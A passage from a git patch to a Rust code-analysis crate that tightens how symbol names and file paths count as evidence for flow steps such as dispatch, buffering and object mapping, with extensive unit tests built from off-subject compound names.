each ecosystem gives the server-to-application gateway. These are protocol // names in the same sense as "http", not product names: a server's request entrypoint // is routinely called `wsgi_app`, `rack_app` or `service` with no other request word in @@ -941,19 +1132,15 @@ pub(crate) fn flow_belongs_to_network_input(citation: &AgentCitationDto) -> bool } /// Choosing and running the command a request named. +/// +/// "dispatch"/"dispatcher" are absent: the role classifier grants `RequestDispatch` and +/// `CommandDispatch` from that same word, so listing it here let one word answer both "is this the +/// command subsystem" and "is this its dispatch step". A command dispatcher says "command". pub(crate) fn flow_belongs_to_command_dispatch(citation: &AgentCitationDto) -> bool { names_token( citation, &[ - "command", - "commands", - "dispatch", - "dispatcher", - "table", - "handler", - "handlers", - "exec", - "execute", + "command", "commands", "table", "handler", "handlers", "exec", "execute", ], ) } diff --git a/crates/codestory-runtime/src/agent/packet_evidence_roles.rs b/crates/codestory-runtime/src/agent/packet_evidence_roles.rs index bc1c6125a..d1eb52533 100644 --- a/crates/codestory-runtime/src/agent/packet_evidence_roles.rs +++ b/crates/codestory-runtime/src/agent/packet_evidence_roles.rs @@ -72,7 +72,26 @@ pub(crate) fn packet_citation_owns_transport_adapter(citation: &AgentCitationDto } let terminal = normalize_identifier(&crate::terminal_symbol_segment(&citation.display_name)); if matches!(citation.kind, NodeKind::CLASS | NodeKind::STRUCT) { - return terminal.ends_with("adapter"); + // A type whose name merely ends in "adapter" is `ArrayAdapter`, `ListAdapter`, + // `RecyclerViewAdapter` — the most populated class-name suffix in mobile and UI code, and + // none of them is a transport. The requirements that list this role scope themselves with a + // word list that also contains "adapter", so accepting the suffix alone let one word + // satisfy both of their factors. The transport has to be named beside it, the way a real + // one is named for the protocol or the socket it speaks over. + return terminal.ends_with("adapter") + && [ + "http", + "https", + "xhr", + "fetch", + "transport", + "request", + "client", + "socket", + "net", + ] + .iter() + .any(|transport| display.contains(transport)); } [ "select", "get", "resolve", "choose", "create", "build", "send", diff --git a/crates/codestory-runtime/src/agent/packet_flow_requirements.rs b/crates/codestory-runtime/src/agent/packet_flow_requirements.rs index da7e08659..7e01443ef 100644 --- a/crates/codestory-runtime/src/agent/packet_flow_requirements.rs +++ b/crates/codestory-runtime/src/agent/packet_flow_requirements.rs @@ -122,14 +122,14 @@ impl EvidencePredicate { Self::CitedRoles { subsystem, roles } => { subsystem(citation) && packet_evidence_role(citation).is_some_and(|role| roles.contains(&role)) - && role_survives_without_its_directory(citation, roles) + && role_survives_without_its_path(citation, roles) } Self::CitedCarrier(carrier) => carrier(citation), } } } -/// Whether the citation still earns one of `roles` once its directories are taken away. +/// Whether the citation still earns one of `roles` once its path is taken away. /// /// A path says where a symbol was filed. It cannot say what the symbol does, and the shared role /// classifier reads it anyway: anything under `runtime/` is runtime orchestration, anything under @@ -139,11 +139,20 @@ impl EvidencePredicate { /// named `request` in `src/runtime/` closed a server's dispatch step, and one named `handler` in /// `app/views/` closed its entrypoint. /// -/// Asking the question a second time with only the file name left makes the path a *narrowing* -/// factor: a `tests/` path still classifies as test coverage and still fails, an extension is still -/// there for the `.sql` roles, but no directory can hand out a role on its own. This can only -/// reject citations the first question already accepted, never admit new ones. -fn role_survives_without_its_directory( +/// The **file name** is a path segment like any other and the classifier reads it the same way, so +/// stripping only the directories left the defect one level down: `runtime.c`, `store.ts`, +/// `signal_dispatch.rs`, `*_events.jsonl` and a `buffer` stem each still handed out a role on their +/// own, which is how `tooltipHandler` in `src/os/runtime.c` proved a server's dispatch step and +/// `SnapshotDiffViewer` in `src/ui/store.ts` proved an indexer's persistence step. So the whole +/// path goes, down to the extension. +/// +/// Asking the question a second time against the bare extension makes the path a purely +/// *narrowing* factor. A `tests/` path still classifies as test coverage on the first question and +/// still fails there; the extension is still present for the `.sql` roles, which are the one place +/// a file genuinely is the evidence. Nothing else about the path can grant a role, and because the +/// full-path answer must match first, this can only reject citations that question already +/// accepted — never admit new ones. +fn role_survives_without_its_path( citation: &AgentCitationDto, roles: &[PacketEvidenceRole], ) -> bool { @@ -151,12 +160,13 @@ fn role_survives_without_its_directory( return true; }; let file_name = path.rsplit(['/', '\\']).next().unwrap_or(path); - if file_name == path { - return true; - } - let mut without_directories = citation.clone(); - without_directories.file_path = Some(file_name.to_string()); - packet_evidence_role(&without_directories).is_some_and(|role| roles.contains(&role)) + let extension = match file_name.rfind('.') { + Some(index) => &file_name[index..], + None => "", + }; + let mut without_path = citation.clone(); + without_path.file_path = Some(extension.to_string()); + packet_evidence_role(&without_path).is_some_and(|role| roles.contains(&role)) } #[derive(Debug, Clone, Copy)] @@ -1630,6 +1640,60 @@ mod tests { ), witness("use_temp_dir", "src/index/tmp.ts", NodeKind::FUNCTION), witness("Store.get", "lib/client.dart", NodeKind::METHOD), + // Each of these closed a requirement one level below the last round's fix. The first + // four are role-classified and the *file name* assigned the role — `runtime.c`, + // `signal_dispatch.rs`, `store.ts` — after the directories had already been stripped. + // The rest are carrier-backed, and each is a compound noun whose head is the flow's own + // subject word: a form's `min`, a logger's `handler`, a site's `layout`, a build's + // `post`, a buffer. + witness("tooltipHandler", "src/os/runtime.c", NodeKind::FUNCTION), + witness( + "panicHandler", + "src/os/signal_dispatch.rs", + NodeKind::FUNCTION, + ), + witness( + "workspaceSettings", + "src/config/store.ts", + NodeKind::FUNCTION, + ), + witness( + "MathSymbolTable", + "src/math/table_dispatch.rs", + NodeKind::STRUCT, + ), + witness("clampMin", "src/forms/layout.ts", NodeKind::FUNCTION), + witness( + "PaymentHandler.process", + "src/logging/payments.php", + NodeKind::METHOD, + ), + witness( + "Layout.render", + "src/components/layout.tsx", + NodeKind::METHOD, + ), + witness("readFile", "src/assets/io.ts", NodeKind::FUNCTION), + witness( + "PostMortem.generate", + "src/crash/report.rb", + NodeKind::METHOD, + ), + witness("FrameBuffer", "src/gfx/frame.cpp", NodeKind::STRUCT), + witness("SegmentTree.read", "src/algo/segtree.rs", NodeKind::METHOD), + witness( + "sourceMapOptions", + "src/build/config.ts", + NodeKind::FUNCTION, + ), + witness("RoadMapPlanner", "src/nav/planner.rs", NodeKind::STRUCT), + witness("dispatchRider", "src/delivery/rider.ts", NodeKind::FUNCTION), + witness( + "validationMinScore", + "src/auth/password.ts", + NodeKind::FUNCTION, + ), + witness("ChartAdapter", "src/charts/adapter.ts", NodeKind::CLASS), ] } @@ -1817,19 +1881,18 @@ mod tests { symbols } - /// `MapPlanner` is the one reported acceptance the corpus above cannot carry, and the reason is - /// worth stating rather than leaving as a silent omission. + /// A bare `map` is not an object mapper, and the family that rides in on it is large. /// - /// It was reported against `indexing_storage`, which took it because the shared classifier reads - /// "plan" as workspace planning; that is closed, and this pins it. But it is *not* off-subject - /// for `mapper_execution`: that requirement asks for an object mapper (`map`) and an execution - /// plan (`plan`), and both words are literally in the name. No predicate that reads names can - /// separate a mapping plan from a route-map planner, so `mapper_execution` still accepts it, - /// wherever it is filed. Putting it in the universal corpus would only be a lie about which - /// property holds. + /// `MapPlanner` used to be documented here as an accepted limitation: `mapper_execution` asks + /// for an object mapper and an execution plan, and both words were literally in the name. But + /// the word carrying the subsystem was `map`, which is the head of `sourceMap`, `roadMap`, + /// `siteMap`, `heatMap` and `tileMap` — so the limitation was not one name, it was every + /// compound noun in software ending in "map", and `sourceMapOptions` (in every JavaScript build + /// configuration there is) plus `RoadMapPlanner` closed the whole two-step flow between them. + /// + /// A bare `map` now has to say what it maps. `TypeMapPlanBuilder`, the real anchor, does. #[test] - fn the_reported_map_planner_acceptance_is_closed_where_it_was_reported() { - let anchor = witness("MapPlanner", "src/store/planner.rs", NodeKind::STRUCT); + fn a_map_that_is_not_an_object_mapper_closes_nothing() { let requirement_named = |id: &str| { all_flow_requirements() .into_iter() @@ -1837,27 +1900,53 @@ mod tests { .unwrap_or_else(|| panic!("{id} should be in the tables")) }; - assert!( - !requirement_named("indexing_storage") - .evidence - .citation_proves(&anchor), - "a planner named after maps is not an indexer's storage step" + for (display_name, kind) in [ + ("MapPlanner", NodeKind::STRUCT), + ("RoadMapPlanner", NodeKind::STRUCT), + ("SiteMapPlan", NodeKind::STRUCT), + ("TileMapExecutor", NodeKind::STRUCT), + ("sourceMapOptions", NodeKind::FUNCTION), + ("HeatMapConfig", NodeKind::STRUCT), + ("bitmapPipeline", NodeKind::FUNCTION), + ] { + for path in ["src/store/planner.rs", "src/mapping/plan.rs", "src/nav.ts"] { + let anchor = witness(display_name, path, kind); + for id in ["indexing_storage", "mapper_execution", "mapper_config"] { + assert!( + !requirement_named(id).evidence.citation_proves(&anchor), + "`{display_name}` at `{path}` is not {id}: the word carrying the subsystem \ + is the head of a compound noun from another domain" + ); + } + } + } + + let real = witness( + "TypeMapPlanBuilder", + "src/AutoMapper/Execution/Plan.cs", + NodeKind::CLASS, ); assert!( requirement_named("mapper_execution") .evidence - .citation_proves(&anchor), - "if this stops being true the note above is stale and should be deleted, not updated" + .citation_proves(&real), + "a type map's plan builder is still the mapper's execution step" ); } - /// The complete set of bare, one-word symbol names that close a requirement, as + /// The complete set of *bare, one-word* symbol names that close a requirement, as /// `requirement | word`. /// /// A one-word name carries no second factor: there is no room in it for both "which subsystem /// is this" and "which step of it". So every entry here is a word that, on its own, anywhere in - /// any repository, under any directory and any language, proves a step — and the list is - /// therefore the exact surface on which an unrelated symbol can still be mistaken for evidence. + /// any repository, under any directory and any language, proves a step. + /// + /// This list is **not** the whole surface, and it used to claim to be. Every predicate in this + /// crate matches whole tokens *inside* a name, so a word that closes a requirement bare closes + /// it inside compounds too — `buffer` here meant `FrameBuffer` and `ZBuffer` as well, and the + /// list said nothing about it. `COMPOUND_EVIDENCE_SURFACE` above is the family version and is + /// the one to read for what an unrelated symbol can still be mistaken for; this one is the + /// stricter subset, kept because a *bare* word closing a requirement is a sharper signal. /// /// Each of these words *is* the requirement's subject: a class named `Buffer` is the buffer, a /// function named `main` is the entrypoint, a method named `request` is the client's request @@ -1867,17 +1956,9 @@ mod tests { /// repository proved a client's convenience method. const ONE_WORD_EVIDENCE_SURFACE: &[&str] = &[ "buffered_storage | buffer", - "buffered_storage | segment", "client_interface_helpers | request", - "client_transport_send | adapter", - "command_dispatch | dispatch", - "command_dispatch | dispatcher", "command_server_bootstrap | main", - "form_custom_validation | validate", - "form_custom_validation | validates", - "form_custom_validation | validation", "form_custom_validation | validity", - "form_submit_guard | preventdefault", "hook_mutation_flow | mutat", "hook_mutation_flow | mutate", "hook_mutation_flow | mutation", @@ -1887,8 +1968,6 @@ mod tests { "indexing_storage | snapshots", "indexing_storage | symbol", "indexing_storage | symbols", - "request_dispatch | dispatch", - "request_dispatch | dispatcher", "request_entrypoint | asgi", "request_entrypoint | route", "request_entrypoint | router", @@ -1896,7 +1975,6 @@ mod tests { "request_entrypoint | routes", "request_entrypoint | servlet", "request_entrypoint | wsgi", - "request_terminal | adapter", "search_entrypoint | main", ]; @@ -2224,6 +2302,53 @@ mod tests { "queries", "searches", "matchers", + // The IO peers a byte buffer sits between, the record-pipeline words a logging + // framework qualifies its handler classes with, and the model words an object mapper + // maps. Each became a way to satisfy a subsystem factor this round, so each has to be + // swept as a name in its own right. + "sources", + "sinks", + "byte", + "io", + "reader", + "input", + "pipe", + "channel", + "abstract", + "base", + "default", + "generic", + "null", + "noop", + "interfaces", + "impl", + "implementation", + "processing", + "processor", + "processors", + "entry", + "entries", + "formatted", + "group", + "chain", + "stack", + "type", + "types", + "object", + "objects", + "model", + "models", + "entity", + "entities", + "dto", + "dtos", + "member", + "members", + "property", + "properties", + "destination", + "class", + "classes", ] } @@ -2269,6 +2394,185 @@ mod tests { ); } + /// Nouns from domains no flow in the tables covers. + /// + /// Crossing them with the evidence vocabulary builds the compound names a repository is + /// actually full of — `FrameBuffer`, `sourceMapOptions`, `PaymentHandler`, `symbolFont` — which + /// is the shape the bare-word sweep below cannot see. + fn off_subject_qualifiers() -> Vec<&'static str> { + vec![ + "Frame", "Road", "Payment", "Math", "Picker", "Chart", "Pixel", "Crash", "Coupon", + "Rider", + ] + } + + /// The directories the compound sweep crosses its names with. + /// + /// Fewer than the bare-word sweep uses, and deliberately so: after `role_survives_without_its_path` + /// no directory can grant a role at all, and the one invariant that still has to see every + /// directory — `no_requirement_is_closed_by_an_unrelated_repository_symbol` — already crosses + /// the full list. What is left that reads a path is the declared exception, so the set here is + /// the repository root, a plain source directory, and one directory per exception: the + /// static-site subject word, the `static/` spelling of it, a logging folder and a form example + /// folder. + fn compound_sweep_directories() -> Vec<&'static str> { + vec![ + "", + "src/", + "lib/site/", + "public/static/", + "src/logging/", + "examples/form/", + ] + } + + /// The compound names the sweep crosses each vocabulary word into: the word as the head of an + /// off-subject compound, as its qualifier, and as a method on an off-subject receiver. + fn compound_shapes_for(word: &str) -> Vec { + let mut capitalized = word.chars(); + let capitalized = match capitalized.next() { + Some(first) => first.to_ascii_uppercase().to_string() + capitalized.as_str(), + None => String::new(), + }; + let mut names = Vec::new(); + for qualifier in off_subject_qualifiers() { + names.push(format!("{qualifier}{capitalized}")); + let mut lowered = qualifier.chars(); + let lowered = match lowered.next() { + Some(first) => first.to_ascii_lowercase().to_string() + lowered.as_str(), + None => String::new(), + }; + names.push(format!("{word}{qualifier}")); + names.push(format!("{lowered}{capitalized}")); + names.push(format!("{qualifier}Kind.{word}")); + } + names + } + + /// The surface each evidence word admits *as a token inside a name*, as `requirement | word`. + /// + /// `ONE_WORD_EVIDENCE_SURFACE` below records bare names, and for a long time its doc claimed to + /// be "the exact surface on which an unrelated symbol can still be mistaken for evidence". It + /// was not. Every predicate in this crate matches whole *tokens* inside a name, so a word that + /// closes a requirement on its own closes it inside every compound that contains it: the entry + /// `buffered_storage | buffer` read as "a class named `Buffer`" and meant `FrameBuffer`, + /// `ZBuffer` and `RingBufferStats` as well. This list is the honest version — a word appears + /// here when an off-subject compound built around it still closes the requirement. + /// + /// Each remaining entry is a word that *is* its requirement's subject in any compound: a + /// `*Symbol*` is a symbol, a `use*` in camelCase is a React hook, a name with `dispatch` in it + /// dispatches. Growth here is the signal to look at: a new entry means a predicate's two + /// factors collapsed into one word that a compound noun can carry. + /// + /// Four of these are irreducible against a positive anchor that has the identical shape, and + /// saying so is the point of recording them: + /// + /// - `client_interface_helpers | request` — the real anchor is `Axios.prototype.request`, whose + /// only client word *is* the verb. `FrameKind.request` cannot be told apart from it by name. + /// - `buffered_storage | buffer` — a segment of a name that is nothing but "buffer" is the + /// buffer; okio's own wrapper is a function called `buffer`. + /// - `hook_public_export | use` — `use` followed by a capital is the React hook convention, so + /// every custom hook in a front end reads as a public hook export. + /// - `form_custom_validation | validity` — `validity` is both what makes an anchor a form + /// control's and what makes it the validation step, and the real anchors `setCustomValidity` + /// and `renderValidityMessage` carry no other form word. Its siblings + /// `form_native_constraints` and `form_submit_guard` still need a second word, so the flow as + /// a whole does not close on this. + /// - `indexing_storage | symbol,snapshot,indexer` — the widest one left. `symbolFont`, + /// `SymbolPicker` and `SnapshotDiffViewer` close an indexer's persistence step. Requiring a + /// storage verb beside the subsystem word would close it, and would also make + /// `indexing_storage` unreachable for Sourcetrail, whose storage anchors are `IndexerJava`, + /// `StorageAccess` and `PersistentStorage`. A false negative on a live task is not a good + /// trade for this, so it stays open and named. + const COMPOUND_EVIDENCE_SURFACE: &[&str] = &[ + "buffered_storage | buffer", + "client_interface_helpers | request", + "form_custom_validation | validity", + "hook_mutation_flow | mutat", + "hook_mutation_flow | mutate", + "hook_mutation_flow | mutation", + "hook_public_export | use", + "indexing_storage | indexer", + "indexing_storage | indexers", + "indexing_storage | snapshot", + "indexing_storage | snapshots", + "indexing_storage | symbol", + "indexing_storage | symbols", + "request_entrypoint | asgi", + "request_entrypoint | route", + "request_entrypoint | router", + "request_entrypoint | routers", + "request_entrypoint | routes", + "request_entrypoint | servlet", + "request_entrypoint | wsgi", + ]; + + #[test] + fn compound_names_close_only_the_requirements_the_word_is_the_subject_of() { + let requirements = all_flow_requirements(); + let mut live: Vec = Vec::new(); + let mut checked = 0_u64; + for word in evidence_vocabulary() { + for name in compound_shapes_for(word) { + for directory in compound_sweep_directories() { + // `.rs` and `.ts` for the same reason the bare-word sweep uses them: one script + // surface and one non-script one. Document surfaces are deliberately absent — + // a `.html` anchor is the module header's declared exception where the file is + // the subsystem, so sweeping it would record the exception rather than the + // name families this list is about. The corpus above crosses every extension. + for extension in [".rs", ".ts"] { + for kind in [NodeKind::FUNCTION, NodeKind::METHOD, NodeKind::CLASS] { + let citation = + witness(&name, &format!("{directory}one{extension}"), kind); + for requirement in &requirements { + checked += 1; + if !requirement.evidence.citation_proves(&citation) { + continue; + } + let entry = format!("{} | {word}", requirement.id); + if !live.contains(&entry) { + live.push(entry); + } + } + } + } + } + } + } + assert!( + checked >= 2_000_000, + "the compound sweep must actually cross the vocabulary with off-subject qualifiers \ + (checked {checked})" + ); + live.sort(); + + let mut recorded = COMPOUND_EVIDENCE_SURFACE + .iter() + .map(|entry| (*entry).to_string()) + .collect::>(); + recorded.sort(); + + let added = live + .iter() + .filter(|entry| !recorded.contains(entry)) + .collect::>(); + assert!( + added.is_empty(), + "an off-subject compound name now closes a requirement it did not before: one word \ + inside a name is deciding a step, which is the collapse this module exists to \ + prevent: {added:?}" + ); + let removed = recorded + .iter() + .filter(|entry| !live.contains(entry)) + .collect::>(); + assert!( + removed.is_empty(), + "these compound families no longer close their requirement; if that is intended, take \ + them out of the recorded surface in the diff a reviewer reads: {removed:?}" + ); + } + #[test] fn one_word_names_close_only_the_requirements_they_are_the_subject_of() { let requirements = all_flow_requirements(); @@ -2336,6 +2640,184 @@ mod tests { /// much of the classifier reads the path, so `renderChart` under `src/views/` was a server's /// request entrypoint, `Store.delete` was an indexer's persistence step, and every symbol under /// `runtime/` was a runtime orchestration entrypoint for three different flows at once. + + /// The acceptance bar for this round, one case per carrier-backed flow. + /// + /// Each case is a real question that raises a whole flow, answered with citations drawn from + /// somewhere else in the repository — the exact shape that reached a fully-closed *Sufficient* + /// verdict in five of these six flows. `clampMin`/`validateCoupon`/`submitOrder` closed form + /// validation; `AssetPipeline.run` + `Layout.render` closed a static-site build; + /// `Logger.addRecord` + `PaymentHandler.process` closed a logger and its handler; + /// `sourceMapOptions` + `RoadMapPlanner` closed an object mapper; `FrameBuffer` + + /// `SegmentTree.read` closed buffered IO. + /// + /// The property is not "these names are rejected" — a fix that only rejects the reported names + /// leaves the shape open, which is how this lane got here. It is that **each flow still names + /// the step it has no evidence for**: the verdict has to be partial *and* the gap has to be the + /// requirement the evidence genuinely fails to prove, not some other one. + #[test] + fn every_carrier_flow_reports_the_step_its_evidence_does_not_prove() { + struct Case { + flow: &'static str, + prompt: &'static str, + citations: Vec, + expected_missing: &'static [&'static str], + } + + let cases = vec![ + Case { + flow: "form validation", + prompt: "Explain how the form validation examples combine native HTML constraints \ + with custom JavaScript validation and a submit guard.", + citations: vec![ + witness("clampMin", "src/forms/layout.ts", NodeKind::FUNCTION), + witness("validateCoupon", "src/forms/coupon.ts", NodeKind::FUNCTION), + witness("submitOrder", "src/forms/order.ts", NodeKind::FUNCTION), + witness( + "validationMinScore", + "src/auth/password.ts", + NodeKind::FUNCTION, + ), + ], + expected_missing: &[ + "form_native_constraints", + "form_custom_validation", + "form_submit_guard", + ], + }, + Case { + flow: "static-site build", + prompt: "Trace how the static site build command creates a site and runs the read, \ + generate, render, and write phases.", + citations: vec![ + witness("AssetPipeline.run", "src/build/assets.rb", NodeKind::METHOD), + witness( + "Layout.render", + "src/components/layout.tsx", + NodeKind::METHOD, + ), + witness("readFile", "src/assets/io.ts", NodeKind::FUNCTION), + witness( + "PostMortem.generate", + "src/crash/report.rb", + NodeKind::METHOD, + ), + ], + expected_missing: &["site_lifecycle", "site_terminal"], + }, + Case { + flow: "logger record + handler", + prompt: "Explain how a logger turns a log call into a record object and passes it \ + through handlers.", + citations: vec![ + witness( + "Logger.addRecord", + "src/logging/payments.php", + NodeKind::METHOD, + ), + witness( + "PaymentHandler.process", + "src/logging/payments.php", + NodeKind::METHOD, + ), + witness("handleClick", "src/logging/ui.php", NodeKind::FUNCTION), + ], + expected_missing: &["handler_processing"], + }, + Case { + flow: "object mapper configuration + execution", + prompt: "Explain how mapper configuration and runtime mapper APIs cooperate to map \ + source objects to destination objects through type map plans.", + citations: vec![ + witness( + "sourceMapOptions", + "src/build/config.ts", + NodeKind::FUNCTION, + ), + witness("RoadMapPlanner", "src/nav/planner.rs", NodeKind::STRUCT), + witness("HeatMapConfig", "src/charts/heat.ts", NodeKind::STRUCT), + witness("TileMapExecutor", "src/gfx/tiles.rs", NodeKind::STRUCT), + ], + expected_missing: &["mapper_config", "mapper_execution"], + }, + Case { + flow: "buffered io", + prompt: "Explain how Buffer, Source, Sink, and buffered wrappers cooperate to move \ + bytes through reads and writes.", + citations: vec![ + witness("FrameBuffer", "src/gfx/frame.cpp", NodeKind::STRUCT), + witness("SegmentTree.read", "src/algo/segtree.rs", NodeKind::METHOD), + witness("ZBuffer", "src/gfx/depth.cpp", NodeKind::STRUCT), + witness("RingBufferStats", "src/metrics/ring.rs", NodeKind::STRUCT), + ], + expected_missing: &["buffered_storage", "buffered_read_write"], + }, + Case { + flow: "runtime formatting", + prompt: "Explain how formatting arguments become type-erased format args and reach \ + the vformat error fallback path.", + citations: vec![ + witness("NumberFormatError", "src/num/parse.cc", NodeKind::STRUCT), + witness( + "formatCurrencyError", + "src/money/fmt.cc", + NodeKind::FUNCTION, + ), + witness("CliParseError", "src/cli/parse.cc", NodeKind::FUNCTION), + ], + expected_missing: &["format_arguments"], + }, + ]; + + assert_eq!(cases.len(), 6, "one case per carrier-backed flow"); + + for case in cases { + let requirements = packet_flow_requirements_for_terms( + &packet_probe_terms(case.prompt), + PacketTaskClassDto::DataFlow, + ); + assert!( + !requirements.is_empty(), + "the {} prompt must raise its flow, or this case proves nothing", + case.flow + ); + for expected in case.expected_missing { + assert!( + requirements.iter().any(|r| r.id == *expected), + "the {} prompt must raise {expected}, or the gap below is vacuous", + case.flow + ); + } + + let missing = requirements + .iter() + .filter(|requirement| { + !case + .citations + .iter() + .any(|citation| requirement.evidence.citation_proves(citation)) + }) + .map(|requirement| requirement.id) + .collect::>(); + + assert!( + !missing.is_empty(), + "the {} flow reports every step proved by citations that prove none of it: a \ + false-safe sufficient verdict is the disqualifying class for this lane", + case.flow + ); + for expected in case.expected_missing { + assert!( + missing.contains(expected), + "the {} flow is partial but does not name {expected} as the gap; it named \ + {missing:?}. A verdict that is partial for the wrong reason still tells the \ + caller the wrong thing about what was proved", + case.flow + ); + } + } + } + #[test] fn no_requirement_is_closed_by_an_unrelated_repository_symbol() { let mut checked = 0; From f5dafa66887e009f7f162897901e6419d45ee7db Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 21:49:42 -0500 Subject: [PATCH 069/132] stop a folder and two generic nouns from proving a flow MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Two false-safe `Sufficient` verdicts were still reachable: a packet could report every step of a flow as proved by citations that prove none of it. `AssetPipeline.run` and `Layout.render` under `lib/site/` closed the static-site build between them — the acceptance test's own citations, one directory over from where it files them. `belongs_to_site_build` merged name and path tokens into one bag, so `site` in a *folder* answered the subsystem question outright and each name only had to carry one generic web noun and a step verb. Taking the directory away was not enough: the fallback underneath it accepted any two *different* nouns from `page`, `layout`, `template`, `document`, `collection`, `asset`, `theme`, `renderer`, `generator`, and a name carries two as easily as one — `AssetCollection.process` and `PageTemplate.render` under `src/ui/` closed the same flow with no site anywhere in the packet. The subsystem is now read from the name and it has to be the site. `static` goes with the folder that justified it; as a word in a name it is the storage-class keyword. A `site` beside a `map` is a sitemap and closes nothing. `clampMin`, `submitJob` and `validityWindow` in one `src/forms/Widget.vue` closed all three steps of form validation. `is_markup_document` counted `.vue` and `.svelte`, so those files took the path-reading branch — but the indexer blanks a single-file component's template and parses only its `